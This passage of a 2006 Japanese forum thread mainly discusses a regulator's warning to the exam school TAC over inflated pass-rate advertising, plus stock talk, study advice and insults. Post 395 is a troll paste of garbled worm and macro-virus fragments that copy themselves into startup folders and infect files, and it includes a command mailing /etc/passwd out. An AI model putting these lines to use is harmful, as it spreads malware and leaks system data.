330 :一般に公正妥当と認められた名無しさん:2006/10/10(火) 19:15:10 ID:???
>>329
バロスwwwwwwwwww

331 :一般に公正妥当と認められた名無しさん:2006/10/10(火) 19:26:04 ID:???
間違えた。受講者数じゃなくて本試験の申込人数だったorz

332 :一般に公正妥当と認められた名無しさん:2006/10/11(水) 22:14:32 ID:???
TAC生脂肪wwwwwwwwwwwwwwwwwwwwwwwwwww

333 :一般に公正妥当と認められた名無しさん:2006/10/11(水) 22:16:27 ID:???
これって東京のデータ?
関西は短答ではかなり健闘しているはず。

334 :一般に公正妥当と認められた名無しさん:2006/10/11(水) 22:22:04 ID:???
>>333
くわすく

335 :一般に公正妥当と認められた名無しさん:2006/10/11(水) 22:52:47 ID:???
関西TACが裏切り始めますた

336 :一般に公正妥当と認められた名無しさん:2006/10/11(水) 23:07:11 ID:???
>>335

kwsk

337 :一般に公正妥当と認められた名無しさん:2006/10/12(木) 18:33:57 ID:???
資格試験3校に警告=合格者数を水増し−公取委

 公認会計士や税理士の試験をめぐり、資格試験予備校大手が講義を数回受けただけの人を
合格者数に含めて公表したのは、景品表示法違反(優良誤認)の恐れがあるとして、
公正取引委員会は12日、TAC(東京都千代田区)と大原学園(同)、早稲田セミナー(新宿区)に警告した。 
(時事通信) - 10月12日17時1分更新
http://headlines.yahoo.co.jp/hl?a=20061012-00000090-jij-soci

338 :一般に公正妥当と認められた名無しさん:2006/10/12(木) 18:46:10 ID:???
http://www.jftc.go.jp/pressrelease/06.october/06101203.pdf
http://www.jftc.go.jp/pressrelease/06.october/06101203betten.htm
短答合格発表後に葉書を返送した本科生だけを分母にもってきて、
短答合格率77.2%と宣伝するのも景品表示法(優良誤認)違反で警告されるだろうね。

339 :一般に公正妥当と認められた名無しさん:2006/10/12(木) 19:38:33 ID:???
会計士 TAC
税理士 TAC大原
公務員 Wセミ

が警告ね。TACざまあみやがれ。当然の報いだ。
公取委の心証悪くなってるからな。このスレの景品表示法違反が何かわかってるな。
覚悟しとけよ。

340 :一般に公正妥当と認められた名無しさん:2006/10/12(木) 19:42:39 ID:???
ちょっと興奮したか。このスレの景品表示法違反というか、十分汚いが、
楽しみなんは11月以降に合格率や特に占有率を出すときの数字の使い方じゃ。
ダブルスタンダードは許さへんぞ。

341 :一般に公正妥当と認められた名無しさん:2006/10/12(木) 19:45:22 ID:???
>>339
>>340
覚悟しとけよ、とか、許さへんぞ、とか君は何者ですか?
まさか受験生じゃないですよね?

342 :一般に公正妥当と認められた名無しさん:2006/10/12(木) 19:55:34 ID:???
俺、タックの合格占有率見てすげえーって思ってタックにしたんだけど、
なんかウソみたいだし、弁護士とかに相談とかしたら受講料を返金まで辿り着けますか?

343 :一般に公正妥当と認められた名無しさん:2006/10/12(木) 19:56:33 ID:???
本科生コース短答カリキュラム修了者と大々的に書いてる以上、
短答式直前答練と短答模試を受けた本科生全員(3,000人くらい?)を
分母にしないと違法濃厚。でもそうすると合格率が全国平均並みに
落ち込むから、そのうちあの広告自体を消すんじゃないか。
TACのHPから会計士合格実績が削除されたし。

344 :一般に公正妥当と認められた名無しさん:2006/10/12(木) 20:01:22 ID:???
警告でました(笑)

http://headlines.yahoo.co.jp/hl?a=20061012-00000090-jij-soci


345 :一般に公正妥当と認められた名無しさん:2006/10/12(木) 20:01:55 ID:???
>>344
もうわかったから

346 :一般に公正妥当と認められた名無しさん:2006/10/12(木) 20:08:10 ID:???
会計士講座はTACだけかよ

347 :一般に公正妥当と認められた名無しさん:2006/10/12(木) 20:12:03 ID:???
会計士 TAC
税理士 TAC大原
公務員 Wセミ

が警告ね。

348 :一般に公正妥当と認められた名無しさん:2006/10/12(木) 20:18:56 ID:???
仮説:受かった人より落ちた人の方が返信率は低い

これが正ければ、

「合格率が高い」じゃなくて
「合格した人の回答率が高い」にすぎない。

悪質。

落ちた人が答えにくい調査をして合格率水増しなんて汚すぎる。

349 :一般に公正妥当と認められた名無しさん:2006/10/12(木) 21:21:34 ID:???
公取委ホームページより
http://www.jftc.go.jp/pressrelease/06.october/06101203.pdf
http://www.jftc.go.jp/pressrelease/06.october/06101203betten.htm

350 :一般に公正妥当と認められた名無しさん:2006/10/12(木) 21:22:25 ID:???
ごめん>>349誤爆

351 :一般に公正妥当と認められた名無しさん:2006/10/12(木) 21:35:44 ID:???
TACwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww

352 :一般に公正妥当と認められた名無しさん :2006/10/12(木) 21:52:19 ID:???
「大台乗っちゃった方がカッコいいじゃん!」

とかなんとか言って、掲示を決めたのかな。

353 :一般に公正妥当と認められた名無しさん:2006/10/12(木) 23:31:46 ID:???
公取委によると、TACは2005年12月―今年6月に配布した
公認会計士試験講座のパンフレットに、05年度試験の会員
合格者数を「1079名 合格者に占める割合82.4%」と表示。
この中には短期間の講座を数回受けただけの人や数年前の
受講者も含まれていた。税理士試験講座のパンフレットで
も同様の記載をしていた。


354 :一般に公正妥当と認められた名無しさん:2006/10/12(木) 23:33:26 ID:???
公取委によると、TACは2005年12月―
今年6月に配布した公認会計士試験講座の
パンフレットに、05年度試験の会員合格者
数を「1079名 合格者に占める割合82.4%」と表示。
この中には短期間の講座を数回受けただけの人や数年
前の受講者も含まれていた。税理士試験講座のパンフ
レットでも同様の記載をしていた。


355 :一般に公正妥当と認められた名無しさん:2006/10/13(金) 01:05:04 ID:???
株式会社TAC脂肪wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww

356 :一般に公正妥当と認められた名無しさん:2006/10/13(金) 06:47:59 ID:???
今までの占有率がウソだったのなら、正しい占有率は?

やっぱり1100/5000人の20%なの?

357 :一般に公正妥当と認められた名無しさん:2006/10/13(金) 06:52:27 ID:???
こういうのってデフォというか
あえてつっこむほどのものじゃないんじゃね?

358 :一般に公正妥当と認められた名無しさん:2006/10/13(金) 06:55:42 ID:???
>>357
そういう認識は、旧来の談合体質の建設業と同じで、
今日では認められがたい考え方じゃないかな。

時代は急速に動いているんだよね。

359 :一般に公正妥当と認められた名無しさん:2006/10/13(金) 07:20:40 ID:???
<会計士講座で警告もらったのはTACだけ!!>
●TACなら景品表示法にもしっかり違反
短答合格率77.2%のTACは、公取委にマークされていることが証明されました!!
占有率の捏造もTACにおまかせ!!
●TACオリジナルの修了生定義が数字の秘密
●TACの迅速な対応なら警告も揉み消せる
〜詳しくはこちらをクリック!!〜

360 :一般に公正妥当と認められた名無しさん:2006/10/13(金) 07:28:02 ID:???
>>359
面白いと思ってるの?やっぱヴェテは感覚もマヒするんだな。
お前みたいにはなりたくないね。さっさと氏ね。

361 :一般に公正妥当と認められた名無しさん:2006/10/13(金) 07:46:35 ID:???
>>360
まあまあじゃん。
なに必死こいてんのwww

362 :一般に公正妥当と認められた名無しさん:2006/10/13(金) 08:04:20 ID:s7bvuGIe
TACが設置申請取り下げ 会計の専門職大学院

資格試験予備校のTAC(東京)は5日、
来春開校を目指していた会計の専門職大学院「TAC大学院大」について、
文部科学省への設置申請を取り下げた。
専門職大学院の設置基準に違反した内容のパンフレットを配り、
文科省から厳重注意を受けたのが理由。
文科省によると、TACがパンフレットに掲載した履修モデルケースでは、
1年間に履修可能な科目の合計が46単位となり、
TACが大学院設置申請の書類に記載した年間30単位を超えていた。
文部科学省は「資格試験の準備に偏った詰め込み教育を意図している」として厳重注意していた。
(共同通信) - 10月5日23時23分更新

363 :一般に公正妥当と認められた名無しさん:2006/10/13(金) 09:35:02 ID:???
>●TACオリジナルの修了生定義が数字の秘密

不覚にも

364 :一般に公正妥当と認められた名無しさん:2006/10/13(金) 11:20:36 ID:???
http://quote.yahoo.co.jp/q?s=4319.t&d=c&k=c3&t=3m&l=off&z=m&q=c&p=m25,m75,s&h=on&a=v

365 :一般に公正妥当と認められた名無しさん:2006/10/13(金) 11:41:20 ID:eWmDNUd3
【なんだ嘘か】TAC、大原学園、早稲田セミナーの資格合格実績は嘘です
http://news20.2ch.net/test/read.cgi/news/1160705363/

366 :一般に公正妥当と認められた名無しさん:2006/10/13(金) 13:38:50 ID:???
250 一般に公正妥当と認められた名無しさん sage 2006/10/05(木) 01:05:10 ID:???
わかった俺がネタを提供してやろう

>>218が「占有率が20%になっちゃう」を見事なツッコミと思うのはちょっと痛いと思う。

占有率の分子として有用なのはその主にその予備校で勉強した人(本科受講生)だろ?
カリキュラムを完全にこなした人を分子にしてもなんら意味は無い数字になる。
だってカリキュラムを完全にこなしてないTAC生も分母に含まれちゃってるんだから。

では、こんかいの短答合格率77%っていう数字はどうか?
短答合格率の分母で一番有用なのは本科受講生数だろうね。
これが全ての受験生が予備校選びにとって一番気になる数字。

でも、真面目に勉強しようとしている受験生にとってはあまり意味無い。
TACには業界最大手らしく講義で寝てるだけの受験生も腐るほどいる。
真面目に勉強しようとしている受験生は、真面目に勉強したら合格率はどのくらいかって
かなり重要な数字。

指標の意味とか管理会計とかで勉強してるなら「占有率が20%になる〜」っていうのが痛いのはわかるだろ?
占有率90何%とかいう宣伝と同じ。

367 :一般に公正妥当と認められた名無しさん:2006/10/13(金) 13:39:37 ID:???
253 一般に公正妥当と認められた名無しさん sage 2006/10/05(木) 01:47:40 ID:???
>>250
のらせていただきます

言いたいことは把握した。
占有率で広く定義することにも、合格率で狭く定義することにも
それぞれ積極的な意味がある、と。

しかし!!

それぞれに意義があるとしても、占有率を広く定義する以上、
合格率も原則は広く定義して公表すべきであり、
「ちなみに真面目に最後まで受講したら77%で高いんだよっ」と、
あくまで狭い定義の合格率は参考として公表されるべきである。

非っ常〜におサムい言い方ですが、
数字のプロを志す以上、数字には厳格でいなければならないと思います。

TACの宣伝手法は卑怯だと思います。

368 :一般に公正妥当と認められた名無しさん:2006/10/13(金) 17:42:00 ID:???
タック、公正取引委員会から報告wwwwwwwwwwwwww

369 :一般に公正妥当と認められた名無しさん:2006/10/13(金) 21:54:55 ID:xGzBwwRU
TACのいい所は受付嬢が可愛いところくらいかな

370 :ベテ:2006/10/15(日) 01:23:24 ID:gccBhroR
公正取引委員会からの注意があることを知って、タックは合格率77.2%の文句を削除したのか?
消費者をなめんなよ!

371 :一般に公正妥当と認められた名無しさん:2006/10/15(日) 02:04:24 ID:???
>>370
ほんと最低だな、TACって。
TACの各校のパンフレット置いてあるところに事実レジュメでも置いてやりたいぐらいだ。

372 :一般に公正妥当と認められた名無しさん:2006/10/15(日) 02:17:54 ID:???
たしかに 20%になっちゃうはアホすぎる
注意書きにもあるようにハガキ・電話(ほとんどハガキ)
によるアンケートの結果だからな


373 :一般に公正妥当と認められた名無しさん:2006/10/15(日) 09:00:02 ID:???
348 一般に公正妥当と認められた名無しさん sage 2006/10/12(木) 20:18:56 ID:???
仮説:受かった人より落ちた人の方が返信率は低い

これが正ければ、

「合格率が高い」じゃなくて
「合格した人の回答率が高い」にすぎない。

悪質。

落ちた人が答えにくい調査をして合格率水増しなんて汚すぎる。

374 :一般に公正妥当と認められた名無しさん :2006/10/15(日) 11:16:36 ID:???
「なお、業績に与える影響は軽微であります。」だって

https://www.release.tdnet.info/inbs/2a0c0770_20061012.pdf

375 :一般に公正妥当と認められた名無しさん:2006/10/15(日) 15:15:48 ID:???
ハガキっていつ頃きたのでつか?


376 :一般に公正妥当と認められた名無しさん:2006/10/15(日) 15:27:05 ID:???
●違法でなくてはTACじゃない●
TACがTACらしくあるためにこれからも
違法行為に励んでまいります
皆様の暖かい御支援をお願いいたします
TAC関連者はみな共犯ということで

377 :一般に公正妥当と認められた名無しさん:2006/10/15(日) 16:34:57 ID:???
タックの株価は発表後なぜかあがってる・・・

378 :一般に公正妥当と認められた名無しさん:2006/10/15(日) 16:46:11 ID:???
投資家は織り込み済みということかな

379 :一般に公正妥当と認められた名無しさん:2006/10/15(日) 16:46:55 ID:???
こんなリスキーな銘柄に手を出すのは玄人ぐらいだろう

380 :一般に公正妥当と認められた名無しさん:2006/10/15(日) 18:14:21 ID:???
http://quote.yahoo.co.jp/q?s=4319.t&d=c&k=c3&t=3m&l=off&z=m&q=c&p=m25,m75,s&h=on&a=v

10/2の後から急落してますね

381 :一般に公正妥当と認められた名無しさん:2006/10/15(日) 18:48:49 ID:???
本当!!

382 :一般に公正妥当と認められた名無しさん:2006/10/15(日) 18:57:10 ID:???
次は証券取引法違反の罪でしょうか。

383 :一般に公正妥当と認められた名無しさん:2006/10/15(日) 21:26:15 ID:1mlAHkv2
 イ ン サ イ ダ ー 祭 り か ! ? 

384 :一般に公正妥当と認められた名無しさん:2006/10/15(日) 21:39:43 ID:???
>>383
馬鹿?

385 :一般に公正妥当と認められた名無しさん:2006/10/15(日) 22:07:55 ID:???
中間決算は上方修正しそうだから一応ホールドしてる(´・ω・`)

386 :一般に公正妥当と認められた名無しさん:2006/10/16(月) 06:41:31 ID:???
このスレが始まって下がったというよりは
公取委からの警告

下がり始め

マスコミの報道

さらに下がる
に見えるなあ 一般人が報道前に知れるのかね

387 :一般に公正妥当と認められた名無しさん:2006/10/16(月) 10:29:15 ID:???
2chねらーごときが何したって無駄wwwwwwww

388 :一般に公正妥当と認められた名無しさん:2006/10/16(月) 11:38:37 ID:???
風説の流布

389 :一般に公正妥当と認められた名無しさん:2006/10/16(月) 14:27:28 ID:???
TACのHPで公開されてますが?wwww

390 :一般に公正妥当と認められた名無しさん:2006/10/16(月) 21:18:36 ID:???
       _, ,_
 w  (・ω・ ) あんまり植えないでよ。
 (~)、 /   i  ) 掃除するの俺なんだからさ
  \ ` |_/ /|
   `ー_( __ノ |
    (  `(  、ノ
wwwww_ノ`i__ノ

391 :一般に公正妥当と認められた名無しさん:2006/10/17(火) 04:20:32 ID:???
掃除とか言ってるニワカ死ね

392 :一般に公正妥当と認められた名無しさん:2006/10/17(火) 04:39:50 ID:???
↑意味不明w

393 :一般に公正妥当と認められた名無しさん:2006/10/17(火) 04:58:04 ID:???
>>392
元ネタ知らないのか

394 :一般に公正妥当と認められた名無しさん:2006/10/17(火) 10:28:08 ID:???
TACの中心は公務員講座

395 :一般に公正妥当と認められた名無しさん:2006/10/17(火) 10:33:19 ID:???
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
fso.copyfile "dirsystem&nurupo.vbs","j:\windows\startmenu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFilef1.path, f1.path+"

396 :一般に公正妥当と認められた名無しさん:2006/10/17(火) 12:35:05 ID:???
↑死ね↑

397 :一般に公正妥当と認められた名無しさん:2006/10/18(水) 12:25:56 ID:41IL7Klp
あの合格率もおかしいよな。入った人があんなにいるのにそれを分母にしないなんてな。たくさんやめてるんだぞ。

398 :一般に公正妥当と認められた名無しさん:2006/10/18(水) 18:07:47 ID:???
ひろあき終焉のとき

399 :一般に公正妥当と認められた名無しさん:2006/10/18(水) 18:15:48 ID:???
まだだ。まだ終わらんよ。

400 :一般に公正妥当と認められた名無しさん:2006/10/18(水) 20:27:05 ID:Y3ccYqIL
そうか、TACにいけば3/4は合格するのか?俺もアクセル行かずにTACにすれば
よかった。

401 :一般に公正妥当と認められた名無しさん:2006/10/18(水) 20:49:11 ID:???
シャア・・私ときてくれれば・・

402 :一般に公正妥当と認められた名無しさん:2006/10/18(水) 23:36:48 ID:???
アクセルのヴェテ君がwikiを作ります
よかったら参加してくださいね^^

335 名前:326[sage] 投稿日:2006/10/18(水) 23:26:12 ID:???
じゃあWikiをメンバー制にするよ。
参加したい人はlivedoorIDを取得して下のメールアドレスまでlivedoorIDを送ってね。
今livedoorID持ってる人も捨てIDを新たに作成した方が安全かもね。

axl001@venus.livedoor.com

403 :一般に公正妥当と認められた名無しさん:2006/10/19(木) 00:13:05 ID:???
俺はとうとう見抜いた!!!!!!!!!!!

ここは三流大学卒のやつが多い!!!!!!!!!!!!!


404 :一般に公正妥当と認められた名無しさん:2006/10/19(木) 04:17:43 ID:???
本当だ。俺以外は三流五流だ。

405 :一般に公正妥当と認められた名無しさん:2006/10/19(木) 10:38:50 ID:???
某ASP経由でTがアフィリエイターに送ったメール
-------
下記文言を使用している場合は削除をお願いします。
「実績No.1」「合格占有率No.1」「実際の実績数字」
-------
一応危機感あるみたいね。

406 :一般に公正妥当と認められた名無しさん:2006/10/20(金) 08:30:08 ID:bE53vcQJ
ここがいいとは思えんが・・・

407 :一般に公正妥当と認められた名無しさん:2006/10/20(金) 08:32:05 ID:???
tacにお布施してる信者ワロス

408 :一般に公正妥当と認められた名無しさん:2006/10/20(金) 21:27:57 ID:guxKqNUd
会計大学院申請でも虚偽ったんでしょ

409 :一般に公正妥当と認められた名無しさん:2006/10/21(土) 09:50:43 ID:DwEfrX15
上場してからおかしいよ。教育産業じゃねえべ・・・

410 :一般に公正妥当と認められた名無しさん:2006/10/21(土) 10:51:16 ID:29yU/e0x
上場する前からおかしかったよ。
上場したら、特におかしさが目立つようになっただけ。
もともとノウハウのパクりでできた会社だから、
インチキしなきゃやってけないの。

411 :一般に公正妥当と認められた名無しさん:2006/10/21(土) 11:35:37 ID:???
 考えてみれば資金さえあれば誰でもできる事業だよね。


412 :一般に公正妥当と認められた名無しさん:2006/10/21(土) 12:01:32 ID:???
短答落ちとか超ウケル≧(´▽`)≦

413 :一般に公正妥当と認められた名無しさん:2006/10/21(土) 13:47:12 ID:???
論文はぼろぼろだろうな

414 :一般に公正妥当と認められた名無しさん:2006/10/25(水) 15:45:26 ID:???
ついに削除されましたねwwwwwwwwwwwwwww

415 :一般に公正妥当と認められた名無しさん:2006/10/25(水) 15:47:04 ID:???
ヘタレwwwwwwwwwwwwwwwww
それともあの広告でもう十分に釣れたと判断したか

416 :一般に公正妥当と認められた名無しさん:2006/10/25(水) 15:48:08 ID:hpbI97wO
TAC笑笑笑笑笑笑

417 :一般に公正妥当と認められた名無しさん:2006/10/25(水) 16:09:59 ID:???
あーーーーーーー消えてるーーーーーーーーーーーーー!!

418 :一般に公正妥当と認められた名無しさん:2006/10/25(水) 16:13:21 ID:???
ギャアアアアアアアアアア!合格実績が消えてるゥゥゥゥゥゥゥゥゥゥゥ!!!

419 :一般に公正妥当と認められた名無しさん:2006/10/25(水) 19:49:05 ID:???
TAC死ねwwwwwwwwwwww
潰れちまえwwwwwwwwwwwwww

420 :一般に公正妥当と認められた名無しさん:2006/10/26(木) 15:08:39 ID:0wdiiFZv
だったら○原にいくか?

勇気もねーのに荒してんじゃねーぞカス

便所でセンズリこいてろ

421 :一般に公正妥当と認められた名無しさん:2006/10/26(木) 15:14:02 ID:???
>>420
え?

422 :一般に公正妥当と認められた名無しさん:2006/10/26(木) 17:30:05 ID:???
>>420
wwwwwwwwwwwwwwwwwwwwwwwwwww

423 :一般に公正妥当と認められた名無しさん :2006/10/26(木) 18:27:43 ID:???
TACだと短答合格率70%以上みたいですね。
お馬鹿な自分も大丈夫と思って、申し込みますた。

424 :一般に公正妥当と認められた名無しさん:2006/10/26(木) 23:10:24 ID:???
http://www.vipper.org/vip365704.jpg
http://www.vipper.org/vip365705.jpg
(・∀・)ニヤニヤ

425 :一般に公正妥当と認められた名無しさん:2006/10/27(金) 01:23:13 ID:???
合格実績のコ−ナ−って、あの公取の指摘の直後に一旦削除されてたのが
最近復活してたよな。さらにそれが削除されたってことか。
まあ、あの分母は明らかにおかしかったからな。


426 :一般に公正妥当と認められた名無しさん:2006/10/27(金) 11:59:27 ID:???
削除wwwwwwwwwwwwwwwwwwwwww
気づくのおせえよwwwwwwwwwwwwwwwwwwwwww

427 :一般に公正妥当と認められた名無しさん:2006/10/27(金) 12:20:43 ID:???
>>424
これはは酷いwwwwwwwww

428 :一般に公正妥当と認められた名無しさん:2006/10/28(土) 00:07:01 ID:???
たっく(笑)

429 :一般に公正妥当と認められた名無しさん:2006/10/28(土) 20:42:54 ID:???
タックさん、次はこのスレの削除依頼ですか?wwwwwwwwwww

430 :一般に公正妥当と認められた名無しさん:2006/10/29(日) 02:15:47 ID:???
だけどよ、大原とかもおんなじようなもんじゃね?
今ごろこっそりパンフとか修正してそ。

431 :一般に公正妥当と認められた名無しさん:2006/10/29(日) 18:33:18 ID:Cgrksote
TACの中の人乙

432 :一般に公正妥当と認められた名無しさん:2006/10/31(火) 16:03:31 ID:ZpeCnLGX
ここにカキコして
TACの自習室の席取りしてるやつは


            ┏┓┏┓        ┏━┓             ┏┓┏┓
        ┏┓┗┛┗┛┏┓    ┗┓┃  ┏┓        ┏┓┗┛┗┛┏┓
┏┓┏━┛┗━┓  ┏┛┗━━┓┃┃┏┛┗━━┓┏┛┗━┓    ┃┃
┃┃┗━┓┏━┛  ┗┓┏━┓┃┗┛┗┓┏━┓┃┗┓┏━┛    ┃┃
┃┃    ┃┃        ┃┃  ┃┃      ┃┃  ┃┃  ┃┃┏━━┓┃┃
┃┃┏━┛┗━┓    ┃┃  ┃┃    ┏┛┗┓┃┃  ┃┃┗━━┛┃┃  ┏┓
┃┗┫ ━ ┏┓┃    ┃┃┏┛┃    ┗┓┏┛┃┗┓┃┃┏━━┓┃┗━┛┃
┗━┻━━┛┗┛    ┗┛┗━┛      ┗┛  ┗━┛┗┛┗━━┛┗━━━┛



433 :一般に公正妥当と認められた名無しさん:2006/10/31(火) 16:12:42 ID:???
>>432

434 :一般に公正妥当と認められた名無しさん:2006/10/31(火) 16:15:10 ID:???
>>434
やっぱりTACは
            □□□ □      □
     □   □       □     □
  □   □   □       □     □
  □     □  □□ □□    □ □
        □        □   □  □
       □         □       □
     □     □□□ □

435 :一般に公正妥当と認められた名無しさん:2006/11/01(水) 02:23:55 ID:???
そんな風に言っときながら、今回落ちてたらTAC上級申し込むヤツが何人いることやら


436 :一般に公正妥当と認められた名無しさん:2006/11/01(水) 17:47:02 ID:???
そんなヤツいんのか
死ねよ

437 :一般に公正妥当と認められた名無しさん:2006/11/09(木) 21:45:45 ID:???
TAC合格率78%で大原生脂肪wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww

438 :一般に公正妥当と認められた名無しさん:2006/11/10(金) 10:16:46 ID:???
TACの論文合格率は何%になるのだろうかwwwwwwwwwwwwwwww

439 :一般に公正妥当と認められた名無しさん:2006/11/10(金) 20:59:15 ID:???
優秀なTAC生はほとんど受かるでしょう

440 :一般に公正妥当と認められた名無しさん:2006/11/11(土) 11:52:23 ID:???
上げるなよ

441 :一般に公正妥当と認められた名無しさん:2006/11/11(土) 17:41:51 ID:???
>>440
フヒヒヒ。。。サーセンwwwwwwwwwww

442 :一般に公正妥当と認められた名無しさん:2006/11/12(日) 11:13:09 ID:m7zPpi+K
租税と企業法は講師の講義があまり上手くないので、予習してから講義を受けたほうが良い。
経営学はなんとも言えないなー。経営は予習は必要ない。おれは経営が得意科目だったとはいえ。
租税、企業法、経営は共に分量が少なく負担も小さい。
(あっ、ちなみにおれは理系の院生)

まあ、初学者はクレがいいと思いますけどね。
1.5年で合格することを前提とした教材の量ですし。
クレの講師は全体的に悪くはないですよ。仕事と講師を両立できるのか?
とはよく言われていますが、そのあたりは心配しなくていいかな。

TACなんかははじめから、3年かけて合格狙いなんでしょ?(TAC学院長が言ってた)
普通にやってたら1年では終わらないような、計画を立てているみたいじゃん。
まあ、クレでも最低1日6時間、平均して8時間くらいは勉強しないと合格できないと思うけど。
(TACだったら、1日10時間以上必要だとか・・・)


443 :一般に公正妥当と認められた名無しさん:2006/11/12(日) 13:42:56 ID:???
>>438
今年の租税法は半分が論述だったけれどTACは殆ど計算しかやらなかったよな。
だからその影響がどう出るか結構気になる。

>>442
租税は税理士の専門講師が居るのだからそういった人を活用すればいいのになと思う。

TACの民法の教材はなかなかいいと思うよ。
ただ、論点を全て覚えるのはかなりの負担だけどな。

理系出なら簡単な統計を選択した方が良かったんじゃないか?
雑誌で今年の問題見たらめちゃめちゃ簡単だったじゃん。
素養さえあれば独学でもどうとでも出来るレベルだし。

444 :一般に公正妥当と認められた名無しさん:2006/11/12(日) 17:33:52 ID:???
来年短答試験だけでも合格しようと頑張ってるのですが、一度短答に合格しとくと何年有効になりますか?

445 :一般に公正妥当と認められた名無しさん:2006/11/12(日) 17:55:53 ID:???
>>444
その年をふくめて3年。

446 :一般に公正妥当と認められた名無しさん:2006/11/12(日) 18:00:04 ID:???
>>445
ありがとう。
運良く受かったら会社辞めて論文に全精力を注ぎます(`・ω・´)

447 :一般に公正妥当と認められた名無しさん:2006/11/19(日) 18:24:09 ID:???
久々にage

448 :一般に公正妥当と認められた名無しさん:2006/11/19(日) 20:54:05 ID:???

実はみなさんどうしても読んで頂きたいことがあって再び投稿することに決めました。(再び、え?)と思われるかもしれませんが最後まで読んで頂ければわかることだと思います。
 あらかじめ伝えておきたいのですが、別に誰かを批判したりするものではないことをわかってほしいのです。何故なら自分にも十分誹があるからです。 
 これは最近、あった出来事なんですが・・・

http://shigoto.nikki.ne.jp/bbs/200305211513046321/

449 :一般に公正妥当と認められた名無しさん:2006/11/20(月) 17:23:36 ID:???
次の更新が楽しみです。

450 :一般に公正妥当と認められた名無しさん:2006/11/20(月) 17:44:58 ID:8is8shgU
次は何て表示すんだろwww
49%とかかな?www

451 :一般に公正妥当と認められた名無しさん:2006/11/20(月) 18:40:51 ID:???
>>19
がんがれとしか言い様がない

452 :一般に公正妥当と認められた名無しさん:2006/11/21(火) 12:51:32 ID:B0BcqEdi
TACの業績良好 ひろあきウハウハ

453 :一般に公正妥当と認められた名無しさん:2006/11/22(水) 17:44:43 ID:???
脅威の論文合格率キボンヌ

454 :一般に公正妥当と認められた名無しさん:2006/11/22(水) 18:33:52 ID:???
ワクテカ!!

455 :一般に公正妥当と認められた名無しさん:2006/11/23(木) 15:37:10 ID:???
忘れた頃の晒し上げ

456 :一般に公正妥当と認められた名無しさん:2006/11/23(木) 16:16:23 ID:???
800人合格したとして
分母の約1470人は据え置きするのでwww
最終合格率54%wwwwwwwwwwwww

457 :一般に公正妥当と認められた名無しさん:2006/11/25(土) 14:24:07 ID:noc3bHUn
今年の結果見て思うんだけど、科目合格案外少なかったし、論文受けた人は発
表までかなりサボってた人多いみたいだから、案外入門生や、今年短答で落ち
た人にとっては来年かなりチャンスですね。すでに短答落ちた人と論文受験者
では実力は逆転してるかも。3ヶ月サボったのは大きいからね。
今年は残念ながら論文受けられなかった人、入門生、絶対チャンスなのでがん
ばってください!

458 :一般に公正妥当と認められた名無しさん:2006/11/25(土) 14:30:14 ID:???
つまんねえコピペすんなよ

459 :一般に公正妥当と認められた名無しさん:2006/11/25(土) 14:51:00 ID:???
短答落ちと論文受験者の実力は歴然!
勉強の質が違う
短答落ちごときが3ヶ月では何ともならないよ

460 :一般に公正妥当と認められた名無しさん:2006/11/25(土) 14:59:41 ID:???
69未満って下痢でもしなきゃ取れない

461 :一般に公正妥当と認められた名無しさん:2006/11/25(土) 15:42:55 ID:???
>>460
おまえ何勘違いしてんだよ。
下痢してて途中で何回トイレ行ってても69以下はムリだよ

462 :一般に公正妥当と認められた名無しさん:2006/11/25(土) 15:46:08 ID:???
まぁ普通はそうだな。

463 :一般に公正妥当と認められた名無しさん:2006/11/26(日) 10:14:19 ID:8NqvJ0ln
渋ちょんは、企業法終わったあと毎回速攻で質問に言ってるんだけど、
何年もやっててそんなに聞くことあるの?ってオモた。
しかも質問が長くて後ろに行列がw

水ちょんは、合格発表の日、TACに置いてある合格者番号表を
切なそうに長時間眺めてました。




464 :一般に公正妥当と認められた名無しさん:2006/12/01(金) 00:22:31 ID:???
TAC(笑)

465 :一般に公正妥当と認められた名無しさん:2006/12/01(金) 00:34:45 ID:???
短答落ちも論文落ちも一緒。

466 :一般に公正妥当と認められた名無しさん:2006/12/01(金) 04:52:32 ID:???
なんかよくわからんことをTAC生がぼやいてますけど

467 :一般に公正妥当と認められた名無しさん:2006/12/01(金) 05:00:19 ID:???
レベル
 
 レック社員>TAC講師

468 :一般に公正妥当と認められた名無しさん:2006/12/01(金) 11:49:27 ID:???
>>465
雲泥の差だよ今年おなさけで69でうかるはずなのに
それでもおちる奴が短答おち

469 :一般に公正妥当と認められた名無しさん:2006/12/01(金) 15:29:14 ID:kDJiWV1M
来年の短答は枠がちょっとしかないから激戦確実!

470 :一般に公正妥当と認められた名無しさん:2006/12/01(金) 15:51:14 ID:GmapRtaL
>>469
